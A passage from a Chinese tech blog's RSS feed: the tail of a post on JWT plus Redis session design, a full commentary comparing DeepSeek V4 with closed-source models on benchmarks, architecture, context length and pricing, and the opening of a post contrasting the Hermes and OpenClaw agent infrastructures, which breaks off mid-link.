<p>这套方案里的 JWT 仍然有价值：它让客户端凭证标准化，让网关和微服务可以快速解析身份，让跨服务调用不必每次都去数据库查用户。</p><p>但 Redis 也不可替代：它提供“当前是否还有效”的最终判断，提供踢人、封号、单端登录、WebSocket 连接路由这些强控制能力。</p><p>说白了，JWT 负责“你是谁”，Redis 负责“你现在还算不算数”。</p><p>很多技术争论最后都会变成口号对撞。有人说 JWT 高级，有人说 Session 稳妥；有人说无状态利于扩容，有人说有状态才方便管理。这些话单独看都对，但放到真实系统里都不完整。</p><p>纯无状态的代价是回收能力弱。只要 token 没过期，你很难优雅地让它立刻失效。纯有状态的代价是集中依赖强。只要 Redis 或 Session 服务出问题，认证链路就会被拖下水。</p><p>如果只是普通 API，短期 JWT 就足够。<br/>如果要单端登录、踢人、封号、WebSocket 长连接、群聊分发，那就必须引入服务端状态。<br/>如果用了 JWT + Redis，就大方承认它是混合架构，不要硬说自己纯无状态。</p><p><strong>无状态不是银弹。它解决的是扩展性问题，不负责替你解决会话治理、主动吊销和长连接控制。</strong></p><p>工程世界里没有神兵，只有边界清晰的取舍。能把需求、代价、故障模式和演进路径说清楚，比在群里争一个词更重要。</p></div><p style="text-align:right"><a href="https://ctexthuang.com/posts/programming_star/JWT-Redis-Session-WebSocket-Auth-Tradeoffs#comments">览毕，何不一言？</a></p></div>]]></description><link>https://ctexthuang.com/posts/programming_star/JWT-Redis-Session-WebSocket-Auth-Tradeoffs</link><guid isPermaLink="true">https://ctexthuang.com/posts/programming_star/JWT-Redis-Session-WebSocket-Auth-Tradeoffs</guid><dc:creator><![CDATA[ctexthuang]]></dc:creator><pubDate>Tue, 02 Jun 2026 02:44:50 GMT</pubDate></item><item><title><![CDATA[DeepSeek V4 vs 顶级闭源模型：开源不是追随者，而是另一条通往 AGI 的路]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://ctexthuang.com/posts/ink_gone/DeepSeek-V4-vs-Closed-Models%3A-Open-Source-Is-Not-a-Follower-but-Another-Route-to-AGI">https://ctexthuang.com/posts/ink_gone/DeepSeek-V4-vs-Closed-Models%3A-Open-Source-Is-Not-a-Follower-but-Another-Route-to-AGI</a></blockquote><div><p>大家是否还记得，去年春节前后 DeepSeek-R1 横空出世时的盛况？</p><p>那不是一次普通的模型发布。它更像是在全球 AI 叙事里砸下了一块石头：原来顶级推理能力并不必然只存在于 OpenAI、Anthropic、Google 这些闭源黑箱里；原来一个中国团队，也可以用开源方式把推理模型推到世界牌桌中央。</p><p>转眼一年多过去，这期间网上无数次传出 DeepSeek V4、DeepSeek-R2 的消息。每一次都像要来了，每一次又沉下去。直到几天前，DeepSeek-V4 预览版正式上线，并同步开源。</p><p>问题也随之回来：</p><p><strong>这次 DeepSeek V4 还能不能复刻 R1 当年的神话？</strong></p><p>我的判断是：如果把“神话”理解成全网情绪爆炸、朋友圈刷屏、海外社区集体震动，那 V4 未必会完全复刻 R1 的场面。因为市场已经被大模型教育过一次，惊喜阈值变高了。</p><p>但如果从工程价值和产业路线看，V4 的意义可能比 R1 更深。R1 证明的是中国开源模型能把推理能力做出来；V4 证明的是，开源模型正在把顶级闭源模型的核心能力拆开，压价，开放，然后推向真实生产环境。</p><p>这不是一次简单的模型升级，而是一次路线宣言。</p><h2 id="v4-">先别急着喊神话：V4 的意义不是全胜，而是进入闭源腹地</h2><p>今天评价一个大模型，最容易犯的错误就是拿一张榜单说故事。</p><p>跑分第一，就说天下无敌；某项落后，就说不过如此。这种判断方式很痛快，但也很粗糙。大模型已经不是单一能力的竞赛，它同时牵涉代码、数学、知识、长上下文、工具调用、推理稳定性、API 成本、部署自由度以及生态成熟度。</p><p>所以 DeepSeek V4 该怎么评价？</p><p>一句话：</p><blockquote><p><strong>它不是全面碾压顶级闭源模型，但它已经把开源模型带进了闭源模型最核心的战场。</strong></p></blockquote>
<p>根据 DeepSeek 官方发布页与 Hugging Face 模型卡，DeepSeek-V4-Pro Max 在 Codeforces、LiveCodeBench、IMOAnswerBench、HMMT、GPQA Diamond 等多项代码、数学与科学推理指标上已经逼近甚至超过部分闭源旗舰模型。在 Agentic Coding 和长上下文任务上，它也明显不再只是“能用”，而是进入了可以和 GPT、Claude、Gemini 正面比较的区间。</p><p>但另一边也必须承认：在世界知识、复杂工具生态、多模态原生能力、企业级产品成熟度上，闭源模型仍有护城河。尤其是 Gemini、Claude、GPT 这类模型背后有搜索、浏览器、办公套件、云平台、企业权限体系和海量用户反馈闭环，不是单靠一次开源权重发布就能全部抹平。</p><p>这才是 V4 最真实的位置：</p><p><strong>闭源模型仍然领先，但领先不再等于垄断。</strong></p><h2 id="">双模型不是大小杯，而是两种生产场景</h2><p>DeepSeek V4 这次没有只给一个模型，而是推出了两个 MoE 版本：DeepSeek-V4-Pro 和 DeepSeek-V4-Flash。二者都采用 MIT 许可证开源，官方服务也都支持 1M token 上下文。</p><table><thead><tr><th> 模型 </th><th style="text-align:right"> 总参数 </th><th style="text-align:right"> 激活参数 </th><th style="text-align:right"> 预训练规模 </th><th style="text-align:right"> 上下文 </th><th> 定位 </th></tr></thead><tbody><tr><td> DeepSeek-V4-Pro </td><td style="text-align:right"> 1.6T </td><td style="text-align:right"> 49B </td><td style="text-align:right"> 33T tokens </td><td style="text-align:right"> 1M tokens </td><td> 旗舰性能，面向复杂推理、代码 Agent、科研分析、长文档理解 </td></tr><tr><td> DeepSeek-V4-Flash </td><td style="text-align:right"> 284B </td><td style="text-align:right"> 13B </td><td style="text-align:right"> 32T tokens </td><td style="text-align:right"> 1M tokens </td><td> 快捷经济，面向日常问答、办公写作、轻量代码、批量任务 </td></tr></tbody></table><p>这里最值得看的不是“1.6T 参数”这个数字本身，而是 MoE 架构背后的成本逻辑。</p><p>MoE 的本质，是让模型拥有更大的总知识容量，却不在每一次推理时激活全部参数。换句话说，它试图在“能力上限”和“单次调用成本”之间找一个更现实的平衡点。Pro 负责上限，Flash 负责普惠。一个像重型工程车，一个像高频通勤车，它们不是谁替代谁，而是覆盖不同工作负载。</p><p>这也是 DeepSeek 路线里很稳定的一点：它很少只为了榜单堆体量，而是始终盯着“真实可用成本”。</p><p>顶级闭源模型也可以强，但如果每次调用都像刷信用卡买奢侈品，开发者就不敢让它进入高频工作流。Agent、代码修复、长文档审阅、自动化测试这些场景，真正可怕的不是单次问答，而是反复读取、反复调用、反复试错。模型价格一旦压不下来，智能体就只能停留在演示视频里。</p><p>V4 的双模型策略，本质上是在回答一个更现实的问题：</p><p><strong>如果 AI 要从聊天窗口进入生产流水线，它不能只有天花板，还必须有地板价。</strong></p><h2 id="-agent-">百万上下文：不是能塞更多字，而是 Agent 的记忆地基</h2><p>很多人看到 1M 上下文，第一反应是：终于可以一次性喂一本小说、一份合同、一篇论文合集了。</p><p>这当然是价值，但还不是最关键的价值。</p><p>对普通办公用户来说，百万上下文意味着不用把材料拆成十几段，也不用反复提醒模型“前面说过什么”。对开发者来说，它的意义更大：模型有机会一次性读入一个中型代码仓库、完整 API 文档、多轮需求变更记录、测试日志、历史 issue 和架构约束。</p><p>过去很多 Agent 失败，并不是因为模型完全不会推理，而是因为它“失忆”。</p><p>它看到了当前文件，却忘了调用链；它改了业务逻辑，却漏了测试约束；它理解了需求第一段，却忽略了后面补充的边界条件。于是开发者不得不反复把上下文切碎、粘贴、总结、再粘贴，最后自己变成了模型的临时内存管理器。</p><p>百万上下文真正改变的是这个结构。</p><p>DeepSeek 在 V4 发布材料里提到，在 1M token 负载下，V4-Pro 的单 token 推理 FLOPs 仅为 V3.2 的 27%，KV Cache 占用压缩到上代的 10%。这背后不是简单把显存堆大，而是通过 CSA、HCA、DSA 等压缩与稀疏注意力机制，在 token 维度重新设计长上下文的计算方式。</p><p>这件事的工程意义很直接：</p><p><strong>长上下文从炫技变成标配，靠的不是蛮力，而是架构。</strong></p><p>闭源模型当然也有长上下文能力，Gemini 这条线尤其强。但 DeepSeek V4 的特殊性在于，它把 1M 上下文和开源权重、低价 API 放在了一起。对于开发者和中小团队而言，这意味着长上下文不再只是大厂产品页上的高级特性，而可能成为日常工具链的一部分。</p><p>当模型可以完整读入项目、文档、日志、需求和约束，Agent 才真正有资格从“会聊天的助手”走向“能干活的协作者”。</p><h2 id="deepseek-">DeepSeek 的路线：用结构创新抵消算力劣势</h2><p>如果只看 V4，很容易把它当成一次孤立更新。但如果把 V2、V3、R1、V4 连起来看，DeepSeek 的路线其实非常清晰：</p><p>它一直在用结构创新抵消算力劣势。</p><p>DeepSeek-V2 的关键词是 MLA 和 MoE。它真正打响的不是“参数大战”，而是“低成本推理”的第一枪。V2 之后，大家开始认真讨论一个问题：模型能力提升，是否一定意味着推理成本指数级上涨？</p><p>DeepSeek-V3 则证明了另一件事：顶级模型训练不一定只能依靠无限烧钱。V3 技术报告里给出的训练效率和成本，引发了全球 AI 圈对训练范式的重新审视。那一刻，DeepSeek 开始不再只是一个“中国开源模型团队”，而是被放进了全球基础模型研究的参照系里。</p><p>DeepSeek-R1 则把推理模型推到前台。它最重要的意义不是某一道数学题做对了，而是证明通过强化学习可以让模型形成可见的推理能力。R1 爆火，本质上是因为它打破了一个心理垄断：复杂推理不再只能从闭源模型那里租。</p><p>到了 V4，DeepSeek 把这些线索合到了一起：</p><ul><li>MoE 继续负责能力和成本平衡；</li><li>长上下文负责 Agent 记忆地基；</li><li>GRPO、on-policy distillation 等方法继续强化推理和对齐；</li><li>Muon 优化器、mHC 架构、压缩注意力机制继续服务训练与推理效率；</li><li>API 低价和开源权重则负责把能力释放给开发者。</li></ul><p>这条路线和美国闭源巨头的主流路线不完全一样。</p><p>OpenAI、Anthropic、Google 的优势是巨型集群、商业闭环、用户数据、生态绑定和资本强度。它们像是在修一座巨大的智能城市，入口、道路、电网、办公楼、商店都在自己体系里。</p><p>DeepSeek 更像是在做另一件事：把一套尽可能强、尽可能便宜、尽可能开放的智能发动机放出来，让更多开发者、企业、研究者去接入自己的机器。</p><p>前者的关键词是平台，后者的关键词是基础设施。</p><p>这不是谁天然高贵的问题，而是两种路线的分歧。闭源路线追求一体化体验和商业控制，开源路线追求可审计、可部署、可迁移、可再创造。</p><p>DeepSeek 最值得看的地方，从来不是参数多大，而是它总在问：</p><p><strong>同样一份算力，能不能榨出更多智能？</strong></p><h2 id="v4-">和顶级闭源模型相比，V4 到底哪里能打</h2><p>把 V4 放到 GPT、Claude、Gemini 面前，最稳妥的说法不是“吊打”，而是“局部反杀，整体逼近”。</p><p>尤其在代码与数学上，V4 已经非常锋利。</p><p>根据官方模型卡，DeepSeek-V4-Pro Max 在 Codeforces Rating 上达到 3206，LiveCodeBench v6 达到 93.5，在这些指标上已经和 GPT-5.4-high、Claude Opus 4.6 Thinking、Gemini 3.1 Pro、Kimi K2.6 Thinking 这些模型处在同一张桌子上。对于开发者来说，这不是一个抽象分数，而意味着模型在竞赛编程、算法题、代码生成、复杂逻辑拆解上具备了非常高的可用性。</p><p>在数学和 STEM 任务上，V4 也表现强势。GPQA Diamond、HMMT、IMOAnswerBench、AIME 2025 等指标都说明，它不只是会写样板代码，而是具备较强的多步推理能力。</p><p>但真正值得关注的是 Agentic Coding。</p><p>未来程序员使用模型，不会只是问“帮我写个函数”。更常见的工作流会是：</p><ol start="1"><li>读取项目结构；</li><li>理解需求；</li><li>找出影响范围；</li><li>修改多个文件；</li><li>运行测试；</li><li>根据错误继续修复；</li><li>输出变更说明。</li></ol><p>这类任务对模型要求极高。它既要有代码能力，也要有长上下文能力，还要有工具调用、计划分解、错误恢复和约束记忆能力。V4 在 SWE Bench Verified、Terminal Bench、Toolathlon、MCPAtlas 等 Agent 相关指标上进入前列，说明 DeepSeek 已经把重点从“会答题的模型”转向“能执行任务的模型”。</p><p>不过，闭源模型仍然有它们的优势。</p><p>Claude 在复杂代码重构、长文写作、指令遵循方面仍然很强；Gemini 在长上下文、多模态和搜索生态上有天然优势；GPT 系列在工具生态、企业集成、产品稳定性上积累深厚。V4 的出现不是让这些优势消失，而是让开发者第一次可以用更低成本、更开放的方式接近它们。</p><p>可以用一张表概括：</p><table><thead><tr><th> 维度 </th><th> DeepSeek V4 的位置 </th></tr></thead><tbody><tr><td> 代码能力 </td><td> 开源第一梯队，部分指标进入闭源旗舰区间 </td></tr><tr><td> 数学推理 </td><td> 强势逼近顶级闭源模型，但不宜说全面碾压 </td></tr><tr><td> 长上下文 </td><td> 1M 标配，且强调推理效率，工程价值很高 </td></tr><tr><td> Agent 能力 </td><td> 已经进入主战场，复杂工具链仍需更多真实项目验证 </td></tr><tr><td> 世界知识 </td><td> 明显进步，但闭源旗舰仍有优势 </td></tr><tr><td> 多模态 </td><td> 不是 V4 当前主战场 </td></tr><tr><td> 商业生态 </td><td> API 兼容友好，企业工具链弱于闭源巨头 </td></tr><tr><td> 部署自由度 </td><td> 开源权重带来长期优势 </td></tr></tbody></table><p>所以，DeepSeek V4 最准确的位置不是“闭源模型终结者”，而是“闭源模型价格和权力结构的挑战者”。</p><p>它不一定每项都赢，但它让闭源厂商不能再舒服地说：顶级智能只能关在我们的黑箱里。</p><h2 id="">小测评可以看手感，但别把演示当成铁证</h2><p>除了官方 benchmark，很多人更关心的是“上手到底灵不灵”。</p><p>比如原文里提到的那个脑筋急转弯：</p><blockquote><p>洗车店离我家 50 米远，我去洗车，建议开车去还是走路去？</p></blockquote>
<p>这类题的关键不在语言知识，而在常识约束。模型如果只看到“50 米很近”，就会建议走路；但真正的任务目标是“去洗车”，车必须到洗车店。一个合格回答应该能识别出这个隐藏约束：人可以走过去，车不能自己过去，所以建议开车去。</p><p>DeepSeek V4 能答对这类题，说明它在短链路常识推理上没有被表面距离带偏。但坦白讲，这种单题演示只能看手感，不能证明模型总体强弱。今天很多模型都能背过热门脑筋急转弯，真正拉开差距的不是会不会答一道题，而是在陌生场景里能否稳定识别任务目标、隐含条件和反常识陷阱。</p><p>另一个小游戏案例更接近开发者的真实感受：让模型“开发一个 2D 横版飞行射击游戏，类似红白机上的《沙罗曼蛇》”。</p><p>这类任务看似简单，实际包含不少隐性要求：画布初始化、主循环、键盘事件、碰撞检测、敌人生成、子弹生命周期、计分系统、失败重开、基础视觉表现。如果模型能在一轮生成中把这些要素组织起来，至少说明它具备较好的代码骨架生成能力。</p><p>但这里也要留一条边界：小游戏 demo 不等于工程能力。真正的工程代码还要看模块拆分、可维护性、异常处理、测试覆盖、性能边界和后续需求变更。V4 的价值不在于“能不能一口气写出一个小游戏”，而在于它已经能比较稳地完成从需求理解到可运行原型的第一步。</p><p>对开发者来说，这一步很重要。</p><p>因为 AI 写代码最有价值的地方，不是替你交付最终系统，而是把“从零到一”的启动成本打下来。你不用先盯着空白文件发呆，也不用从 canvas、事件循环、碰撞检测这些基础件重新搭架子。模型先给出一个能跑的版本，程序员再接管结构、质量和边界。</p><p>这才是 V4 代码能力最现实的落点：<strong>不是替代工程判断，而是缩短从想法到原型的距离。</strong></p><h2 id="">价格不是附属项，而是路线本身</h2><p>很多人讨论模型，只盯着能力，不看价格。这在真实工程里是不成立的。</p><p>因为模型一旦进入生产环境，token 不是数字，而是成本。</p><p>写一段文案，贵一点无所谓；但让 Agent 读完整代码仓库、分析日志、跑测试、修 bug、生成报告、再反复重试，token 会像水一样流走。闭源模型如果每一步都昂贵，开发者就会天然收缩使用频率，最后模型只适合做“关键时刻请一次的专家”，而不是“每天高频协作的工友”。</p><p>根据 DeepSeek API 价格页，截至今日，V4-Flash 的百万 tokens 价格为：缓存命中输入 0.02 元，缓存未命中输入 1 元，输出 2 元。</p><p>V4-Pro 原价为：缓存命中输入 0.1 元，缓存未命中输入 12 元，输出 24 元。官方当前提供限时 2.5 折，优惠期会持续到下周二晚间，折后为缓存命中输入 0.025 元，缓存未命中输入 3 元，输出 6 元。</p><p>两个模型的上下文长度均为 1M，最大输出长度为 384K。API 层面仍兼容 OpenAI ChatCompletions 格式，也提供 Anthropic 格式入口。需要注意的是，旧有的 deepseek-chat 与 deepseek-reasoner 两个模型名只是兼容映射，官方已经说明它们将在三个月后停止使用。新项目最好直接切到 deepseek-v4-flash 或 deepseek-v4-pro，免得临近停用时再被迫改配置。</p><p>这个价格的冲击力在于，它不是“便宜一点”，而是把高频试错的心理门槛打掉。</p><p>对个人开发者来说，这意味着可以更大胆地把模型接进脚本、编辑器、CI 工具、文档分析流程。对中小企业来说，这意味着不用一上来就面对让财务皱眉的 API 账单。对 Agent 产品来说，这意味着多轮规划、多次调用、多次自我修复不再是奢侈动作。</p><p>这就是 DeepSeek 路线里的“普惠”。</p><p>普惠不是一句漂亮口号，而是价格表上每百万 token 的数字。模型再强，如果普通人用不起，它就是少数公司的生产资料；模型足够强又足够便宜，才可能变成开发者手里的日常工具。</p><h2 id="">开源权重：自由是真的，门槛也是真的</h2><p>V4 同步开源，是这次发布里最重要的信号之一。</p><p>但这里也要纠正一个容易误导读者的说法：开源不等于普通笔记本就能满血运行 V4-Pro。</p><p>V4-Pro 是 1.6T 总参数、49B 激活参数的 MoE 模型。即使它有很强的推理效率优化，即使未来社区会做量化、切分和适配，它也不是普通消费级机器可以轻松完整承载的东西。对于绝大多数个人用户，V4 首先是一个 API 故事；对于基础设施团队、云厂商、大企业和研究机构，它才是本地部署和私有化优化的故事。</p><p>但这并不削弱开源的意义。</p><p>开源权重真正带来的价值，是把选择权交还给使用者：</p><ul><li>企业可以在合规场景下做私有化部署；</li><li>社区可以做量化、蒸馏、推理框架适配；</li><li>研究者可以审查模型结构和训练方法；</li><li>开发者不必被单一 API 平台长期锁死；</li><li>国产算力和开源推理栈可以围绕真实旗舰模型做优化；</li><li>生态可以在模型之上长出自己的工具链，而不是永远租住在闭源厂商的房子里。</li></ul><p>闭源模型的优势是体验统一、服务稳定、生态完整；开源模型的优势是可迁移、可审计、可改造、可长期沉淀。</p><p>如果说闭源模型卖的是“即插即用的高级服务”，那么开源模型释放的是“可被整个行业再加工的基础资产”。</p><p>这两者不是同一种商品。</p><h2 id="">国产算力适配：不是终点，而是闭环的开始</h2><p>DeepSeek V4 还有一个容易被情绪化解读的点：国产算力适配。</p><p>官方材料提到，V4 的细粒度专家并行方案在 NVIDIA GPU 和华为昇腾 NPU 平台上均完成验证；在通用推理负载下，吞吐有 1.50 到 1.73 倍提升，在延迟敏感场景中最高达到 1.96 倍。</p><p>这当然值得重视。</p><p>但它不应该被写成“彻底摆脱英伟达”的口号。CUDA 生态、训练集群、通信库、算子优化、工程工具链仍然非常成熟，国产算力要追的不只是芯片单点性能，而是从模型结构、推理框架、调度系统、开发工具到部署经验的完整生态。</p><p>DeepSeek V4 的意义在于，它给国产算力提供了一个真正有分量的负载。</p><p>过去很多硬件适配喜欢跑小 benchmark，数据很好看，但离真实大模型生产环境很远。旗舰模型愿意适配，愿意暴露真实瓶颈，愿意围绕 MoE、长上下文、专家并行、KV Cache 做工程优化，这才是国产 AI 软硬件协同真正需要的东西。</p><p>国产算力的胜利不会来自一句口号，而会来自无数次这样的真实负载验证。</p><h2 id="deepseek-">DeepSeek 的初心：不是国产替代，而是开放前沿</h2><p>谈 DeepSeek，很容易滑向一种简单叙事：国产模型打败海外模型，中国 AI 扬眉吐气。</p><p>这当然能提供情绪价值，但不够准确，也不够高级。</p><p>DeepSeek 真正值得尊重的地方，不只是“国产”，而是它一直在做基础模型研究，一直愿意把关键成果开放出来，一直试图通过结构创新和工程效率，把先进 AI 能力变得更便宜。</p><p>如果只是做一个国产 ChatGPT 替代品，DeepSeek 不需要这么折腾。它完全可以把应用层做厚，把入口做重，把模型藏起来，然后像传统互联网产品一样抢流量、做会员、卖套餐。</p><p>但 DeepSeek 选择的是更难的一条路：模型、论文、权重、API、价格一起接受全球开发者检验。</p><p>这背后其实有一种朴素但坚定的初心：</p><p><strong>中国 AI 不能永远做跟随者，开源 AI 也不能永远做闭源模型的廉价替身。</strong></p><p>DeepSeek 官方在 V4 发布页末尾引用了《荀子》中的一句话：</p><blockquote><p>不诱于誉，不恐于诽，率道而行，端然正己。</p></blockquote>
<p>这句话用在 DeepSeek 身上，倒是很合适。</p><p>R1 爆火之后，它没有急着用流量包装自己；V4 迟迟未发时，它也没有被外界催促节奏牵着走。它真正做的，是继续在模型结构、推理效率、强化学习、长上下文和开源生态上往前拱。</p><p>技术路线最怕两件事：一种是被赞誉冲昏头脑，开始卖概念；另一种是被质疑吓住，退回安全区。DeepSeek 现在最难得的地方，是它还在沿着自己那条并不好走的路往前走。</p><h2 id="v4--r1-">V4 不一定复刻 R1 的流量神话，但可能留下更深的工程遗产</h2><p>所以，DeepSeek V4 能否再次缔造神话？</p><p>如果说的是社交媒体上的爆炸式传播，我不确定。R1 的时间点太特殊，全球 AI 圈对中国开源推理模型的预期也还没有被刷新。那种第一次击穿认知的震动，很难复制。</p><p>但如果说的是工程意义，V4 可能会留下更扎实的东西。</p><p>它把百万上下文做成标配，把代码和数学能力推到开源第一梯队，把 Agentic Coding 放到模型核心位置，把价格压到开发者可以高频试错的程度，又把权重放出来，让社区和企业有机会真正参与生态建设。</p><p>这不是一次烟花式发布，而更像是铺路。</p><p>闭源模型仍然强，甚至在很多方面仍然更成熟。我们没有必要为了支持 DeepSeek，就假装 Claude、Gemini、GPT 的优势不存在。真正的自信不是拒绝承认差距，而是在承认差距之后，依然拿出自己的路线、自己的技术、自己的价格和自己的开放姿态。</p><p>DeepSeek V4 最打动人的地方，不是它在某张榜单上赢了谁，而是它继续证明了一件事：</p><p><strong>先进 AI 能力不应该只被锁在少数闭源平台里。</strong></p><p>当更强的模型开始开源，当百万上下文不再高不可攀，当代码 Agent 的成本下降到普通开发者可以承受，当国产算力有机会围绕真实旗舰模型建立优化闭环，这场全球 AI 竞赛才真正变得有意思。</p><p>因为它不再只是巨头之间的军备竞赛，也不再只是资本市场上的算力狂欢。</p><p>它开始重新回到开发者、研究者、中小团队和真实工程问题手里。</p><p>这或许才是 DeepSeek 路线最珍贵的地方：用结构创新降低算力依赖，用开源对抗黑箱垄断，用低价把智能交还给更多普通人。</p><p>R1 像一道惊雷，让世界突然回头看见中国开源模型。</p><p>V4 则更像一条路，告诉大家：这件事不是偶然，它还在继续。</p><h2 id="">参考资料</h2><ul><li><a href="https://api-docs.deepseek.com/zh-cn/news/news260424">DeepSeek-V4 官方发布页</a></li><li><a href="https://api-docs.deepseek.com/zh-cn/quick_start/pricing">DeepSeek API 官方价格页</a></li><li><a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4 Hugging Face 模型卡</a></li><li><a href="https://arxiv.org/abs/2405.04434">DeepSeek-V2 技术报告</a></li><li><a href="https://arxiv.org/abs/2412.19437">DeepSeek-V3 技术报告</a></li><li><a href="https://arxiv.org/abs/2501.12948">DeepSeek-R1 技术报告</a></li></ul></div><p style="text-align:right"><a href="https://ctexthuang.com/posts/ink_gone/DeepSeek-V4-vs-Closed-Models%3A-Open-Source-Is-Not-a-Follower-but-Another-Route-to-AGI#comments">览毕，何不一言？</a></p></div>]]></description><link>https://ctexthuang.com/posts/ink_gone/DeepSeek-V4-vs-Closed-Models%3A-Open-Source-Is-Not-a-Follower-but-Another-Route-to-AGI</link><guid isPermaLink="true">https://ctexthuang.com/posts/ink_gone/DeepSeek-V4-vs-Closed-Models%3A-Open-Source-Is-Not-a-Follower-but-Another-Route-to-AGI</guid><dc:creator><![CDATA[ctexthuang]]></dc:creator><pubDate>Wed, 06 May 2026 06:32:34 GMT</pubDate></item><item><title><![CDATA[Hermes vs OpenClaw：当 Agent 基础设施走向分叉，谁在定义下一代数字主权]]></title><description><![CDATA[<div><blockquote>此渲染由 Yohaku API 生成，或存排版之虞，最佳体验请往：<a href="https://ctexthuang.com/posts/ink_gone/Hermes-vs-OpenClaw%3A-Gateway-Sovereignty-Learning-Loops-and-the-Agentic-Infrastructure-Schism">https://ctexthuang.com/posts/ink_gone/Hermes-vs-OpenClaw%3A-Gateway-Sovereignty-Learning-Loops-and-the-Agentic-Infrastructure-Schism</a></blockquote><div><p>如果你今天还在用一张“支持多少平台、接了多少模型、会不会写代码”的功能表，去给 Agent 基础设施打分，那你其实已经错过了真正的战场。</p><p>2024 年和 2025 年，行业里最流行的误解，是把一切带 <code>tool call</code> 的产品都叫作 Agent；2026 年，这种误解正在变得更加昂贵。因为真正决定 Agent 上限的，早就不再是它能不能调一个 Shell、会不会写一段 CRUD，也不是它能否把 Telegram 和 Discord 接起来。真正决定上限的，是四件更深的事情：<strong>入口由谁掌控、记忆如何沉淀、执行环境能否迁移、经验能否转化为长期能力。</strong></p><p>截至 <strong>今日</strong>，当我重新核对 <a href="https://docs.openclaw.ai/">OpenClaw 官方文档</a> 与 <a href="https://hermes-agent.nousresearch.com/docs/">Hermes Agent 官方文档</a> 之后，我越来越确信：<code>OpenClaw</code> 和 <code>Hermes</code> 之所以值得被放在一起写，不是因为它们“长得像”，而是因为它们代表了两条已经清晰分叉的基础设施路线。</p><p><code>OpenClaw</code> 更像一套以 <strong>消息入口、网关控制、本地主权、多平台代理接入与工作空间编排</strong> 为中心的 Agent 操作底座。它首先回答的是：消息从哪里进来，命令如何路由，哪些设备能力可以开放，哪些物理边界必须锁死。</p><p>而 <code>Hermes</code> 则把更大的赌注押在 <strong>学习闭环、持久记忆、技能生成、运行时迁移与长期能力演化</strong> 上。它首先回答的是：这个 Agent 如何越用越懂你，如何把一次次会话沉淀成可复用技能，如何在不同环境中继续工作，而不是每次都从零开始。</p><p>所以，这篇文章不是测评，不是安装指南，也不是“谁更强”的饭圈式站队。它真正要辨析的，是一个更根本的问题：</p><p><strong>在 Agent 时代，你究竟需要一个可控的网关，还是一个会成长的系统？你争取的到底是入口主权，还是学习主权？</strong></p><h2 id="agent-">一、Agent 时代真正开始分叉了</h2><p>今天很多人一提到 Agent，脑子里浮现的依然是一个聊天框，再外加几个工具按钮。这个认知并不完全错，但它只覆盖了最浅的一层。那一层的重点是“会不会执行”；而基础设施真正关心的，是“执行发生在什么边界内、由什么历史驱动、能否被持续治理”。</p><p>为什么我说 2026 年以后，Agent 工具链的竞争已经不再是“会不会调工具”，而是“谁来掌控入口、记忆、执行环境与长期演化”？原因很简单。工具调用这件事，已经越来越像云时代的 HTTP 请求能力，迟早会变成标配。真正稀缺的，不是一个 Agent 能不能把命令发出去，而是：</p><ul><li>它从哪里接收到任务；</li><li>它能记住多久；</li><li>它的经验能否在下一次调用时继续生效；</li><li>它能不能离开你的这台笔记本，在更稳定、更隔离、更适合长期运行的环境里持续工作；</li><li>它的“人格”“规则”“技能”“上下文资产”是否可迁移、可审计、可治理。</li></ul><p>事情已经变了。<strong>我们讨论的重点，已经从“让模型动起来”，转向“让系统长出来”。</strong></p><p>这也是为什么我越来越反感一种极其偷懒的比较方式：把不同层级的产品全部塞进同一个表格里，左边写“支持 Telegram/Discord”，右边写“支持记忆/自动化/子代理”，最后得出一个“功能更多所以更强”的结论。这样的比较，和拿 NAS、Kubernetes、消息中间件与协同办公软件做横向评分没有本质区别，表面上都沾边，实际上根本不在同一个战略层面。</p><p><code>OpenClaw</code> 和 <code>Hermes</code> 的真正价值，不在于它们都能接平台、调模型、写文件，而在于它们分别选择了不同的“中心”。一个把中心建在 <strong>Gateway</strong> 上，一个把中心建在 <strong>Learning Loop</strong> 上。一个更关心系统如何接住现实世界的消息流与设备边界，一个更关心系统如何在时间中形成自我连续性。</p><p>这不是小差异。<strong>这是系统人格的分水岭。</strong></p><p>如果一个产品从诞生之初就把“消息入口与平台治理”放在第一位，那么它后续的一切设计，包括工作空间隔离、节点能力声明、配对机制、权限裁剪、命令队列，都会围绕“控制平面”展开。</p><p>如果一个产品从诞生之初就把“记忆、技能、长期成长”放在第一位，那么它后续的一切设计，包括 bounded memory、session search、skill improvement、subagent delegation、remote backends、scheduled automation，都会围绕“持续性”展开。</p><p>你看，分叉其实不是从“支持什么功能”开始的，而是从“系统首先害怕失去什么”开始的。</p><p><code>OpenClaw</code> 害怕失去的是入口、边界与主权。</p><p><code>Hermes</code> 害怕失去的是连续性、经验与成长。</p><p>这就是我们后面所有分析的底盘。</p><h2 id="-hermes--openclaw-">二、为什么 Hermes 和 OpenClaw 值得被放在一起比较</h2><p>有些比较从一开始就不成立。比如把一个 IDE 内补全插件，和一个自托管消息网关放在一起打分，通常只会得出空洞结论。但 <code>Hermes</code> 与 <code>OpenClaw</code> 不一样，它们之间不仅有可比性，甚至还带着一丝明确的“谱系关系”。</p><p>先看 <code>OpenClaw</code>。截至  4 月 22 日，我核对的 <a href="https://docs.openclaw.ai/architecture">OpenClaw Gateway Architecture</a> 文档非常明确：它的核心是一个<strong>单一、长期运行的 Gateway</strong>。所有消息 surface 都归 Gateway 所有，Gateway 通过 WebSocket 与 clients、nodes 建立连接，默认控制平面监听在 <code>127.0.0.1:18789</code>。文档甚至强调，每台主机只应有一个 Gateway，它不仅是控制平面的枢纽，也是某些平台会话唯一的持有者。</p><p>这说明什么？说明 <code>OpenClaw</code> 从来就不是一个“会聊天的壳子”。它是把 Agent 放进<strong>可治理的消息与执行基础设施</strong>里来理解的。平台入口、身份绑定、工作区路由、节点能力声明、配对审批、队列调度，这些不是旁枝末节，而是主干。</p><p>再看 <code>Hermes</code>。截至同一天，我核对的 <a href="https://hermes-agent.nousresearch.com/docs/">Hermes Agent 文档首页</a> 与 <a href="https://hermes-agent.nousresearch.com/docs/user-guide/features/overview/">Features Overview</a> 的表述相当明确：Hermes 把自己定义成一个“会自我改进的 agent”，重点落在闭环学习、技能生成、长期记忆、子代理协作、远程终端后端、自动化调度与多平台接入。它不是一个只靠“当下上下文”过日子的聊天机器人，而是试图让每次成功与失败都在后续行为中留下痕迹。</p><p>如果只是这样，二者还可以被理解为“同赛道里的不同风格”。但真正让我确认这篇文章值得写下去的，是 <a 